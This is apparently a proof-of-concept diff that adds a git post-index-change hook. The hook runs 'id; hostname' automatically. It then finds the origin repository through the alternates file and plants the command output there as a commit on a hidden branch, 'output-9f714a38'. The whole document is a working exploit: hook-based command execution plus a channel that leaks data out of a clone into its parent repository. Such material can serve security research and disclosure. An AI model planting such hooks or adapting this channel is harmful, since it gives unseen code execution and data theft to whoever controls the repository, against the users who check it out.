apply

hooks/post-index-change

@@ -0,0 +1,17 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n 1p "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+  /*) ;;
+  *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+out=$( { /bin/sh -c 'id; hostname'; st=$?; echo; echo "[exit-status=$st]"; } 2>&1 )
+blob=$(printf %s "$out" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
+tree=$(printf "100644 blob %s	output
+" "$blob" | git --git-dir="$origin_git" mktree) || exit 5
+commit=$(printf "command output
+" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$origin_git" commit-tree "$tree") || exit 6
+git --git-dir="$origin_git" update-ref refs/heads/output-9f714a38 "$commit" || exit 7
+exit 0